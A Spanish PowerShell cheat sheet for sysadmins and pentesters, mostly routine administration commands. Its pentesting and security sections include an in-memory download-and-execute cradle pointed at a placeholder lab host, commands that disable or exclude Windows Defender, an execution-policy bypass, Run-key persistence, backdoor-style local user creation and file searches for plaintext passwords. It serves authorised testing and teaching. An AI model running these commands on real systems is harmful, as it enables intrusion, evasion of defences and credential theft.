💻 PowerShell Reference
Comandos esenciales para SysAdmins y Pentesters · GhostAcademy · unfantasmaenelsistema.com
Windows Admin Pentesting Active Directory WMI / CIM PSRemoting Scripting Post-Explotación Red Team Auditoría
69COMANDOS
11CATEGORÍAS
🖥️
Sistema & Información
Información del sistema, versiones, hardware y entorno
6 cmds
Get-ComputerInfo 🖥️ SysAdmin
SINTAXIS
Get-ComputerInfo
Devuelve información completa del sistema: OS, BIOS, RAM, CPU, dominio, zona horaria y más de 200 propiedades en un solo objeto.
Ver ejemplo completo
EJEMPLO
Get-ComputerInfo | Select-Object CsName, WindowsVersion, OsBuildNumber, OsTotalVisibleMemorySize
$PSVersionTable ⚡ Ambos
SINTAXIS
$PSVersionTable
Variable automática que muestra la versión de PowerShell, el motor CLR, el framework y la plataforma en uso. Esencial para compatibilidad de scripts.
Ver ejemplo completo
EJEMPLO
$PSVersionTable.PSVersion
Get-Host 🖥️ SysAdmin
SINTAXIS
Get-Host
Muestra información sobre el host de PowerShell actual: nombre, versión, cultura, idioma de UI y características del terminal.
Ver ejemplo completo
EJEMPLO
(Get-Host).Version
Get-WmiObject / Get-CimInstance ⚡ Ambos
SINTAXIS
Get-CimInstance -ClassName Win32_OperatingSystem
Consulta clases WMI/CIM para obtener información detallada de hardware y software. Get-CimInstance es la versión moderna y recomendada frente a Get-WmiObject.
Ver ejemplo completo
EJEMPLO
Get-CimInstance Win32_BIOS | Select-Object Manufacturer, SMBIOSBIOSVersion, ReleaseDate
Get-Date 🖥️ SysAdmin
SINTAXIS
Get-Date
Obtiene la fecha y hora actuales. Permite formatear, calcular diferencias de tiempo y usar en logs o nombres de archivos.
Ver ejemplo completo
EJEMPLO
Get-Date -Format 'yyyy-MM-dd_HH-mm-ss'
Measure-Command 🖥️ SysAdmin
SINTAXIS
Measure-Command { }
Mide el tiempo de ejecución de un bloque de código o comando. Útil para benchmarking y optimización de scripts.
Ver ejemplo completo
EJEMPLO
Measure-Command { Get-ChildItem C:\ -Recurse } | Select-Object TotalSeconds
⚙️
Procesos & Servicios
Gestión de procesos en ejecución, servicios del sistema y tareas programadas
6 cmds
Get-Process ⚡ Ambos
SINTAXIS
Get-Process [-Name ]
Lista todos los procesos en ejecución con su PID, uso de CPU/RAM, ruta del ejecutable y más. Equivalente a Task Manager en CLI.
Ver ejemplo completo
EJEMPLO
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10 Name, CPU, WorkingSet, Id
Stop-Process ⚡ Ambos
SINTAXIS
Stop-Process -Name [-Force]
Termina uno o varios procesos por nombre o PID. El parámetro -Force mata procesos que no responden. Equivale a 'taskkill'.
Ver ejemplo completo
EJEMPLO
Stop-Process -Name 'notepad' -Force
Start-Process ⚡ Ambos
SINTAXIS
Start-Process [-ArgumentList ] [-Verb RunAs]
Inicia un proceso externo. Con -Verb RunAs lo lanza como administrador. Permite redirigir stdin/stdout, ocultar la ventana o esperar a que termine.
Ver ejemplo completo
EJEMPLO
Start-Process powershell.exe -ArgumentList '-NoProfile -Command whoami' -Verb RunAs
Get-Service 🖥️ SysAdmin
SINTAXIS
Get-Service [-Name ]
Lista los servicios de Windows con su estado (Running/Stopped), nombre de display y tipo de inicio. Permite filtrar por nombre o estado.
Ver ejemplo completo
EJEMPLO
Get-Service | Where-Object {$_.Status -eq 'Stopped'} | Select-Object Name, DisplayName
Start/Stop/Restart-Service 🖥️ SysAdmin
SINTAXIS
Stop-Service -Name [-Force]
Controla el ciclo de vida de servicios del sistema. Restart-Service es especialmente útil para aplicar cambios de configuración sin reiniciar el equipo.
Ver ejemplo completo
EJEMPLO
Restart-Service -Name 'Spooler' -Force
Get-ScheduledTask ⚡ Ambos
SINTAXIS
Get-ScheduledTask [-TaskName ]
Enumera todas las tareas programadas del sistema. Muy útil en pentesting para detectar persistencia maliciosa o tareas con privilegios elevados.
Ver ejemplo completo
EJEMPLO
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} | Select-Object TaskName, TaskPath
📁
Sistema de Archivos
Navegación, búsqueda, gestión y análisis de archivos y directorios
8 cmds
Get-ChildItem (ls / dir) ⚡ Ambos
SINTAXIS
Get-ChildItem [-Path ] [-Recurse] [-Hidden] [-Filter ]
Lista el contenido de directorios. Con -Recurse recorre subdirectorios, -Hidden muestra archivos ocultos, -Filter acepta wildcards. Alias: ls, dir, gci.
Ver ejemplo completo
EJEMPLO
Get-ChildItem C:\Users -Recurse -Hidden -Filter '*.ps1' -ErrorAction SilentlyContinue
Get-Content (cat) ⚡ Ambos
SINTAXIS
Get-Content -Path [-Tail ] [-Wait]
Lee el contenido de archivos de texto. -Tail N muestra las últimas N líneas (como tail -f en Linux). -Wait mantiene el archivo abierto para monitoreo en tiempo real.
Ver ejemplo completo
EJEMPLO
Get-Content C:\Windows\System32\drivers\etc\hosts | Where-Object {$_ -notmatch '^#'}
Set-Content / Add-Content 🖥️ SysAdmin
SINTAXIS
Set-Content -Path -Value
Escribe o añade contenido a un archivo. Set-Content sobreescribe, Add-Content añade al final. Soportan encoding con -Encoding UTF8.
Ver ejemplo completo
EJEMPLO
Add-Content -Path C:\logs\audit.log -Value "$(Get-Date) - Cambio aplicado"
Copy-Item / Move-Item 🖥️ SysAdmin
SINTAXIS
Copy-Item -Path -Destination [-Recurse]
Copia o mueve archivos y directorios. Con -Recurse funciona para carpetas enteras. Admite rutas UNC de red y permite filtrar con -Filter.
Ver ejemplo completo
EJEMPLO
Copy-Item -Path C:\Config -Destination \\Server\Backup\$(Get-Date -Format 'yyyyMMdd') -Recurse
Remove-Item (rm / del) ⚡ Ambos
SINTAXIS
Remove-Item -Path [-Recurse] [-Force]
Elimina archivos y directorios. -Force elimina archivos de solo lectura y ocultos. -Recurse borra directorios completos. ¡Sin papelera de reciclaje!
Ver ejemplo completo
EJEMPLO
Remove-Item -Path C:\Temp\* -Recurse -Force -ErrorAction SilentlyContinue
Select-String (grep) ⚡ Ambos
SINTAXIS
Select-String -Pattern -Path [-Recurse]
Busca texto con expresiones regulares en archivos. Equivalente a grep de Linux. Muestra nombre de archivo, número de línea y la línea completa que coincide.
Ver ejemplo completo
EJEMPLO
Select-String -Pattern 'password|passwd|secret' -Path C:\inetpub\* -Recurse -CaseSensitive:$false
Get-Acl / Set-Acl ⚡ Ambos
SINTAXIS
Get-Acl -Path
Obtiene o modifica la lista de control de acceso (ACL/DACL) de archivos y carpetas. Muestra propietario, grupo y permisos de cada entrada.
Ver ejemplo completo
EJEMPLO
Get-Acl -Path C:\SecretFolder | Format-List
Test-Path 🖥️ SysAdmin
SINTAXIS
Test-Path -Path
Comprueba si existe una ruta (archivo, directorio o registro). Devuelve $true/$false. Ideal para validar antes de operar y evitar errores en scripts.
Ver ejemplo completo
EJEMPLO
if (Test-Path 'C:\Config\app.conf') { Write-Host 'Existe' } else { Write-Host 'No encontrado' }
🌐
Red & Conectividad
Diagnóstico, escaneo, configuración de red y conexiones activas
7 cmds
Test-NetConnection ⚡ Ambos
SINTAXIS
Test-NetConnection -ComputerName [-Port ]
Prueba conectividad TCP hacia un host y puerto concreto. Muestra resultado de ping, resolución DNS, ruta y estado del puerto. Sustituye a telnet para testing de puertos.
Ver ejemplo completo
EJEMPLO
Test-NetConnection -ComputerName 192.168.1.1 -Port 445
Get-NetIPAddress ⚡ Ambos
SINTAXIS
Get-NetIPAddress [-AddressFamily IPv4]
Lista todas las direcciones IP del sistema con su interfaz, prefijo, tipo (unicast/anycast) y estado. Equivalente moderno a ipconfig.
Ver ejemplo completo
EJEMPLO
Get-NetIPAddress -AddressFamily IPv4 | Where-Object {$_.InterfaceAlias -notlike '*Loopback*'}
Get-NetTCPConnection ⚡ Ambos
SINTAXIS
Get-NetTCPConnection [-State ]
Muestra todas las conexiones TCP activas: estado, IP/puerto local y remoto, PID del proceso. Equivalente a 'netstat -an' con información de proceso integrada.
Ver ejemplo completo
EJEMPLO
Get-NetTCPConnection -State Established | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess | Sort-Object RemoteAddress
Resolve-DnsName ⚡ Ambos
SINTAXIS
Resolve-DnsName -Name [-Type ]
Resuelve nombres DNS con soporte para tipos de registro: A, AAAA, MX, NS, TXT, CNAME, SOA. Más potente que nslookup.
Ver ejemplo completo
EJEMPLO
Resolve-DnsName -Name microsoft.com -Type MX
Invoke-WebRequest ⚡ Ambos
SINTAXIS
Invoke-WebRequest -Uri [-Method ] [-Headers ]
Realiza peticiones HTTP/HTTPS. Devuelve headers, contenido, cookies y código de estado. Equivalente a curl/wget. Útil para testing de APIs y descarga de payloads.
Ver ejemplo completo
EJEMPLO
Invoke-WebRequest -Uri 'https://api.ipify.org' -UseBasicParsing | Select-Object -ExpandProperty Content
Get-NetRoute ⚡ Ambos
SINTAXIS
Get-NetRoute [-AddressFamily IPv4]
Muestra la tabla de enrutamiento del sistema. Equivale a 'route print'. Útil para entender el flujo de tráfico en entornos complejos.
Ver ejemplo completo
EJEMPLO
Get-NetRoute -AddressFamily IPv4 | Where-Object {$_.NextHop -ne '0.0.0.0'} | Sort-Object RouteMetric
Get-NetFirewallRule ⚡ Ambos
SINTAXIS
Get-NetFirewallRule [-DisplayName ] [-Enabled True]
Enumera las reglas del firewall de Windows. Filtrable por nombre, dirección (inbound/outbound), estado habilitado y acción (Allow/Block).
Ver ejemplo completo
EJEMPLO
Get-NetFirewallRule | Where-Object {$_.Enabled -eq 'True' -and $_.Action -eq 'Allow' -and $_.Direction -eq 'Inbound'} | Select-Object DisplayName, Profile
👤
Usuarios & Active Directory
Gestión de usuarios locales, grupos y consultas a Active Directory
6 cmds
Get-LocalUser ⚡ Ambos
SINTAXIS
Get-LocalUser
Lista todos los usuarios locales del sistema con nombre, descripción, estado de cuenta y fecha de último inicio de sesión. No requiere módulo AD.
Ver ejemplo completo
EJEMPLO
Get-LocalUser | Where-Object {$_.Enabled -eq $true} | Select-Object Name, LastLogon, PasswordLastSet
Get-LocalGroup / Get-LocalGroupMember ⚡ Ambos
SINTAXIS
Get-LocalGroupMember -Group 'Administrators'
Lista grupos locales y sus miembros. Imprescindible en pentesting para identificar cuentas con privilegios de administrador local.
Ver ejemplo completo
EJEMPLO
Get-LocalGroupMember -Group 'Administrators' | Select-Object Name, ObjectClass, PrincipalSource
whoami /all 🎯 Pentest
SINTAXIS
whoami /all
Muestra el usuario actual, SID, grupos a los que pertenece, privilegios habilitados y nivel de integridad del proceso. Fundamental en pentesting.
Ver ejemplo completo
EJEMPLO
& whoami /priv | Select-String 'Enabled'
Get-ADUser (módulo AD) 🖥️ SysAdmin
SINTAXIS
Get-ADUser -Filter * -Properties *
Consulta usuarios de Active Directory. Permite filtrar por cualquier atributo LDAP. Requiere el módulo ActiveDirectory (RSAT o AD DS).
Ver ejemplo completo
EJEMPLO
Get-ADUser -Filter {PasswordNeverExpires -eq $true} -Properties PasswordNeverExpires | Select-Object SamAccountName, Enabled
Get-ADGroupMember ⚡ Ambos
SINTAXIS
Get-ADGroupMember -Identity 'Domain Admins' -Recursive
Lista miembros de un grupo de AD de forma recursiva, incluyendo grupos anidados. Crítico para mapear privilegios en entornos corporativos.
Ver ejemplo completo
EJEMPLO
Get-ADGroupMember 'Domain Admins' -Recursive | Get-ADUser | Select-Object SamAccountName, Enabled, LastLogonDate
New-LocalUser ⚡ Ambos
SINTAXIS
New-LocalUser -Name -Password
Crea un nuevo usuario local. Permite configurar descripción, expiración de contraseña y si la contraseña expira. Útil también en técnicas de persistencia.
Ver ejemplo completo
EJEMPLO
$pass = ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force
New-LocalUser -Name "helpdesk" -Password $pass -PasswordNeverExpires
🗝️
Registro de Windows
Lectura, escritura y búsqueda en el registro de Windows
4 cmds
Get-Item (registro) ⚡ Ambos
SINTAXIS
Get-Item -Path 'HKLM:\SOFTWARE\...'
Lee una clave del registro de Windows. PowerShell trata el registro como un sistema de ficheros (PSDrive HKLM: y HKCU:). Muestra subclaves y valores.
Ver ejemplo completo
EJEMPLO
Get-Item 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' | Select-Object -ExpandProperty Property
Get-ItemProperty ⚡ Ambos
SINTAXIS
Get-ItemProperty -Path 'HKLM:\...' [-Name ]
Lee los valores (propiedades) de una clave del registro. Más útil que Get-Item cuando quieres acceder a datos específicos de configuración o detectar persistencia.
Ver ejemplo completo
EJEMPLO
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
Set-ItemProperty ⚡ Ambos
SINTAXIS
Set-ItemProperty -Path 'HKCU:\...' -Name -Value
Modifica o crea un valor en el registro. Requiere privilegios adecuados según la hive (HKLM requiere admin). Muy usado en persistencia y configuración del sistema.
Ver ejemplo completo
EJEMPLO
Set-ItemProperty 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'MyApp' -Value 'C:\app.exe'
Get-ChildItem (registro recursivo) 🎯 Pentest
SINTAXIS
Get-ChildItem -Path 'HKLM:\' -Recurse -ErrorAction SilentlyContinue
Recorre el registro de forma recursiva buscando subclaves. Útil para buscar configuraciones sensibles, claves de autorun o malware persistente.
Ver ejemplo completo
EJEMPLO
Get-ChildItem 'HKCU:\SOFTWARE\' -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.Name -like '*password*'}
🔒
Seguridad & Auditoría
Auditoría, eventos de seguridad, credenciales y políticas
8 cmds
Get-EventLog / Get-WinEvent ⚡ Ambos
SINTAXIS
Get-WinEvent -LogName Security -MaxEvents
Lee el registro de eventos de Windows. Get-WinEvent es la versión moderna y soporta filtros XPath. Imprescindible para auditoría e investigación de incidentes.
Ver ejemplo completo
EJEMPLO
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625} -MaxEvents 20 | Select-Object TimeCreated, Message
ConvertTo-SecureString 🖥️ SysAdmin
SINTAXIS
ConvertTo-SecureString -AsPlainText -Force
Convierte texto plano a SecureString (cifrado en memoria). Necesario para pasar contraseñas a cmdlets que las requieren como SecureString sin exponerlas en logs.
Ver ejemplo completo
EJEMPLO
$cred = New-Object PSCredential("domain\user", (ConvertTo-SecureString "P@ss!" -AsPlainText -Force))
Get-Credential 🖥️ SysAdmin
SINTAXIS
Get-Credential [-UserName ] [-Message ]
Muestra un cuadro de diálogo seguro para introducir credenciales. El resultado es un objeto PSCredential que no expone la contraseña en texto plano.
Ver ejemplo completo
EJEMPLO
$cred = Get-Credential -Message "Credenciales de administrador"
Invoke-Command -ComputerName Server01 -Credential $cred -ScriptBlock { hostname }
Invoke-Command (remoto) ⚡ Ambos
SINTAXIS
Invoke-Command -ComputerName -ScriptBlock { }
Ejecuta comandos remotamente mediante WinRM/PSRemoting. Soporta múltiples equipos simultáneamente, credenciales alternativas y sesiones persistentes.
Ver ejemplo completo
EJEMPLO
Invoke-Command -ComputerName 'Server01','Server02' -ScriptBlock { Get-Service Spooler } -Credential $cred
Enter-PSSession ⚡ Ambos
SINTAXIS
Enter-PSSession -ComputerName [-Credential ]
Abre una sesión interactiva remota de PowerShell (similar a SSH). Requiere WinRM habilitado en el destino. Alternativa moderna a PSExec.
Ver ejemplo completo
EJEMPLO
Enter-PSSession -ComputerName 10.10.10.5 -Credential (Get-Credential)
Get-MpComputerStatus (Defender) ⚡ Ambos
SINTAXIS
Get-MpComputerStatus
Consulta el estado de Windows Defender: versiones de firmas, estado del servicio, última actualización y escaneo. En pentesting, útil para saber si el AV está activo.
Ver ejemplo completo
EJEMPLO
Get-MpComputerStatus | Select-Object AntivirusEnabled, RealTimeProtectionEnabled, AntispywareSignatureLastUpdated
Set-MpPreference (Defender exclusions) 🎯 Pentest
SINTAXIS
Set-MpPreference -ExclusionPath
Configura exclusiones en Windows Defender. En pruebas de penetración autorizadas, se usa para excluir herramientas de la detección AV (requiere admin).
Ver ejemplo completo
EJEMPLO
Set-MpPreference -ExclusionPath 'C:\Tools' -ExclusionExtension '.ps1'
Get-LocalGroupMember (admins locales) 🎯 Pentest
SINTAXIS
Get-LocalGroupMember -Group 'Administrators'
Verifica qué cuentas tienen privilegios de administrador local. En pentesting, permite detectar si un usuario comprometido tiene privilegios elevados.
Ver ejemplo completo
EJEMPLO
Get-LocalGroupMember -Group 'Administrators'
🎯
Pentesting & Post-Explotación
Técnicas de reconocimiento, enumeración y post-explotación en entornos autorizados
8 cmds
Invoke-Expression (IEX) 🎯 Pentest
SINTAXIS
IEX (New-Object Net.WebClient).DownloadString('')
Descarga y ejecuta código PowerShell en memoria sin tocal el disco. Técnica fileless usada en pentesting. NUNCA en entornos no autorizados. Puede ser detectada por EDR.
Ver ejemplo completo
EJEMPLO
# Solo en laboratorios autorizados:
IEX (New-Object Net.WebClient).DownloadString('http://LAB-SERVER/script.ps1')
Get-Item HKLM:\...\Run (autorun) 🎯 Pentest
SINTAXIS
Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
Enumera programas configurados para ejecutarse al inicio del sistema. Técnica estándar para detectar persistencia de malware o puertas traseras.
Ver ejemplo completo
EJEMPLO
# Revisar ambas hives:
'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run','HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' | ForEach-Object { Get-ItemProperty $_ }
Port Scanner básico 🎯 Pentest
SINTAXIS
1..1024 | ForEach-Object { Test-NetConnection -Port $_ -WarningAction SilentlyContinue }
Escaneo básico de puertos usando Test-NetConnection. Mucho más lento que nmap, pero sin dependencias externas. Útil cuando las herramientas de red están bloqueadas.
Ver ejemplo completo
EJEMPLO
@(22,80,443,445,3389,5985) | ForEach-Object {
  $r = Test-NetConnection 192.168.1.1 -Port $_ -WarningAction SilentlyContinue
  [PSCustomObject]@{Port=$_;Open=$r.TcpTestSucceeded}
}
Enumeración de shares SMB 🎯 Pentest
SINTAXIS
Get-SmbShare / Get-WmiObject Win32_Share
Lista los recursos compartidos SMB del sistema local. En entornos de dominio, combinar con net view o Invoke-Command para enumerar shares remotos.
Ver ejemplo completo
EJEMPLO
Get-SmbShare | Select-Object Name, Path, Description, CurrentUsers
Get-HotFix (parches) 🎯 Pentest
SINTAXIS
Get-HotFix | Sort-Object InstalledOn -Descending
Lista los parches de seguridad (KB) instalados con su fecha. En pentesting permite identificar vulnerabilidades no parcheadas comparando con CVE databases.
Ver ejemplo completo
EJEMPLO
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 15 HotFixID, InstalledOn, Description
Bypass de ExecutionPolicy 🎯 Pentest
SINTAXIS
powershell -ExecutionPolicy Bypass -File
Permite ejecutar scripts sin cambiar la política global. ExecutionPolicy es un control administrativo, NO una medida de seguridad robusta.
Ver ejemplo completo
EJEMPLO
# Alternativas de bypass:
Set-ExecutionPolicy Bypass -Scope Process -Force
powershell -ep bypass -c "IEX (Get-Content script.ps1 -Raw)"
Buscar credenciales en archivos 🎯 Pentest
SINTAXIS
Select-String -Pattern 'password|passwd|pwd|secret' -Path -Recurse
Búsqueda de credenciales en texto plano dentro de scripts, configs y logs. Una de las técnicas más productivas en auditorías de seguridad internas.
Ver ejemplo completo
EJEMPLO
Get-ChildItem C:\ -Recurse -Include *.txt,*.xml,*.config,*.ini -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|pwd' -CaseSensitive:$false
Desactivar Real-Time Protection 🎯 Pentest
SINTAXIS
Set-MpPreference -DisableRealtimeMonitoring $true
Desactiva la protección en tiempo real de Windows Defender (requiere admin). Solo para entornos de laboratorio autorizados. Ataques reales combinarán esto con persistencia.
Ver ejemplo completo
EJEMPLO
# SOLO EN LABS AUTORIZADOS:
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
📝
Scripting & Automatización
Técnicas de scripting, variables, bucles, funciones y manejo de errores
8 cmds
ForEach-Object (pipeline loop) 🖥️ SysAdmin
SINTAXIS
| ForEach-Object { }
Itera sobre cada objeto del pipeline. La variable $_ representa el objeto actual. Permite encadenar operaciones complejas con sintaxis limpia y eficiente.
Ver ejemplo completo
EJEMPLO
Get-Service | Where-Object {$_.Status -eq 'Stopped'} | ForEach-Object { Write-Host "Iniciando: $($_.Name)"; Start-Service $_ }
Where-Object (filtro pipeline) 🖥️ SysAdmin
SINTAXIS
| Where-Object { $_.Property -eq 'value' }
Filtra objetos del pipeline basándose en condiciones. Equivale a una cláusula WHERE de SQL. Soporta -eq, -ne, -like, -match, -gt, -lt, -contains y muchos más.
Ver ejemplo completo
EJEMPLO
Get-Process | Where-Object {$_.WorkingSet -gt 100MB} | Select-Object Name, @{N='RAM_MB';E={[math]::Round($_.WorkingSet/1MB,2)}}
Select-Object 🖥️ SysAdmin
SINTAXIS
Select-Object [-Property ] [-First ] [-Unique]
Selecciona propiedades específicas de objetos, crea propiedades calculadas con expresiones @{N='Nombre';E={}} y permite tomar los primeros/últimos N resultados.
Ver ejemplo completo
EJEMPLO
Get-Process | Select-Object Name, @{N='CPU_Pct';E={$_.CPU}}, @{N='RAM_MB';E={[math]::Round($_.WorkingSet/1MB,1)}} | Sort-Object CPU_Pct -Descending
Export-Csv / Import-Csv 🖥️ SysAdmin
SINTAXIS
Export-Csv -Path -NoTypeInformation [-Append]
Exporta objetos a CSV con cabecera automática. Import-Csv los reimporta como objetos tipados. Fundamental para informes, análisis en Excel y automatización masiva.
Ver ejemplo completo
EJEMPLO
Get-Process | Select-Object Name, Id, CPU, WorkingSet | Export-Csv -Path C:\Reports\procs_$(Get-Date -Format yyyyMMdd).csv -NoTypeInformation
ConvertTo-Json / ConvertFrom-Json 🖥️ SysAdmin
SINTAXIS
ConvertTo-Json [-Depth ] [-Compress]
Serializa objetos PS a JSON y viceversa. Esencial para interactuar con APIs REST, procesar respuestas HTTP y exportar configuraciones en formato estándar.
Ver ejemplo completo
EJEMPLO
$data = Invoke-RestMethod -Uri "https://api.example.com/data"
$data | ConvertTo-Json -Depth 5 | Out-File result.json
Try / Catch / Finally 🖥️ SysAdmin
SINTAXIS
try { } catch { } finally { }
Manejo estructurado de errores. Try ejecuta el código, Catch captura excepciones (acceso a $_ para el error), Finally siempre se ejecuta (limpieza de recursos).
Ver ejemplo completo
EJEMPLO
try {
  Get-Item 'C:\nonexistent' -ErrorAction Stop
} catch [System.IO.FileNotFoundException] {
  Write-Warning "Archivo no encontrado: $_"
} finally {
  Write-Host 'Operación completada'
}
Start-Job / Receive-Job 🖥️ SysAdmin
SINTAXIS
Start-Job -ScriptBlock { }
Ejecuta comandos en paralelo como jobs en segundo plano. Receive-Job recupera los resultados. Ideal para operaciones largas o múltiples hosts simultáneos.
Ver ejemplo completo
EJEMPLO
$jobs = 1..10 | ForEach-Object { Start-Job -ScriptBlock { Start-Sleep 5; hostname } }
$jobs | Wait-Job | Receive-Job
Write-Output / Write-Host / Write-Error 🖥️ SysAdmin
SINTAXIS
Write-Output
Write-Output escribe al pipeline (encadenable). Write-Host va directo a pantalla (no al pipeline). Write-Error escribe errores al stream de error con severidad configurable.
Ver ejemplo completo
EJEMPLO
Write-Host "[INFO] Iniciando..." -ForegroundColor Cyan
Write-Warning "Archivo no encontrado"
Write-Error "Error crítico" -ErrorAction Stop
🔌
Remoting & WMI
Ejecución remota, WMI/CIM y gestión de sesiones remotas
4 cmds
New-PSSession ⚡ Ambos
SINTAXIS
New-PSSession -ComputerName [-Credential ]
Crea una sesión PSRemoting persistente y reutilizable. Más eficiente que Invoke-Command cuando se envían múltiples comandos al mismo host porque mantiene el estado.
Ver ejemplo completo
EJEMPLO
$s = New-PSSession -ComputerName Server01 -Credential (Get-Credential)
Invoke-Command -Session $s -ScriptBlock { Get-Process }
Remove-PSSession $s
Get-CimInstance (WMI moderno) ⚡ Ambos
SINTAXIS
Get-CimInstance -ClassName [-ComputerName ]
Consulta WMI usando el protocolo WSMAN (más seguro y firewall-friendly que el WMI clásico). Soporta consultas remotas sin necesitar puerto DCOM.
Ver ejemplo completo
EJEMPLO
Get-CimInstance -ClassName Win32_LogicalDisk -Filter "DriveType=3" | Select-Object DeviceID, @{N='FreeGB';E={[math]::Round($_.FreeSpace/1GB,2)}}, @{N='TotalGB';E={[math]::Round($_.Size/1GB,2)}}
Invoke-CimMethod ⚡ Ambos
SINTAXIS
Invoke-CimMethod -ClassName -MethodName
Invoca métodos WMI, como reiniciar un servicio, crear procesos remotos (Win32_Process.Create) o ejecutar comandos en el sistema objetivo.
Ver ejemplo completo
EJEMPLO
# Crear proceso remoto via WMI (requiere admin):
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine='notepad.exe'} -ComputerName Server01
Enable-PSRemoting 🖥️ SysAdmin
SINTAXIS
Enable-PSRemoting -Force
Habilita WinRM y configura el equipo para aceptar conexiones PSRemoting. Requiere administrador. Crea el listener HTTP en el puerto 5985 (HTTPS en 5986).
Ver ejemplo completo
EJEMPLO
Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force  # Cuidado en producción
📊
Salida & Formateo
Formateo de resultados, exportación y visualización de datos
4 cmds
Format-Table (ft) 🖥️ SysAdmin
SINTAXIS
Format-Table [-AutoSize] [-Wrap] [-Property ]
Formatea la salida como tabla. -AutoSize ajusta el ancho de columnas al contenido. -Wrap evita truncado de texto. Alias: ft. NOTA: Format-* siempre al final del pipeline.
Ver ejemplo completo
EJEMPLO
Get-Process | Sort-Object CPU -Descending | Select-Object -First 10 | Format-Table Name, Id, CPU, WorkingSet -AutoSize
Out-GridView 🖥️ SysAdmin
SINTAXIS
Out-GridView [-Title ] [-OutputMode Single]
Muestra resultados en una ventana gráfica interactiva con filtros, búsqueda y ordenación. Con -OutputMode Single permite seleccionar un objeto y devolver al pipeline.
Ver ejemplo completo
EJEMPLO
Get-Process | Out-GridView -Title 'Selecciona proceso' -OutputMode Single | Stop-Process
Out-File / Tee-Object 🖥️ SysAdmin
SINTAXIS
... | Out-File -FilePath [-Append] [-Encoding UTF8]
Redirige la salida a un archivo. Tee-Object bifurca: envía al pipeline Y al archivo/variable simultáneamente (como tee en Linux).
Ver ejemplo completo
EJEMPLO
Get-EventLog System -Newest 100 | Tee-Object -FilePath events.txt | Where-Object EntryType -eq 'Error'
Measure-Object 🖥️ SysAdmin
SINTAXIS
... | Measure-Object [-Property ] [-Sum] [-Average] [-Maximum] [-Minimum]
Calcula estadísticas (suma, media, máximo, mínimo, cuenta) sobre propiedades numéricas o el recuento de objetos. Muy útil para análisis rápido de colecciones.
Ver ejemplo completo
EJEMPLO
Get-ChildItem C:\ -Recurse -File -ErrorAction SilentlyContinue | Measure-Object -Property Length -Sum -Average -Maximum | Select-Object Count, @{N='TotalMB';E={[math]::Round($_.Sum/1MB,2)}}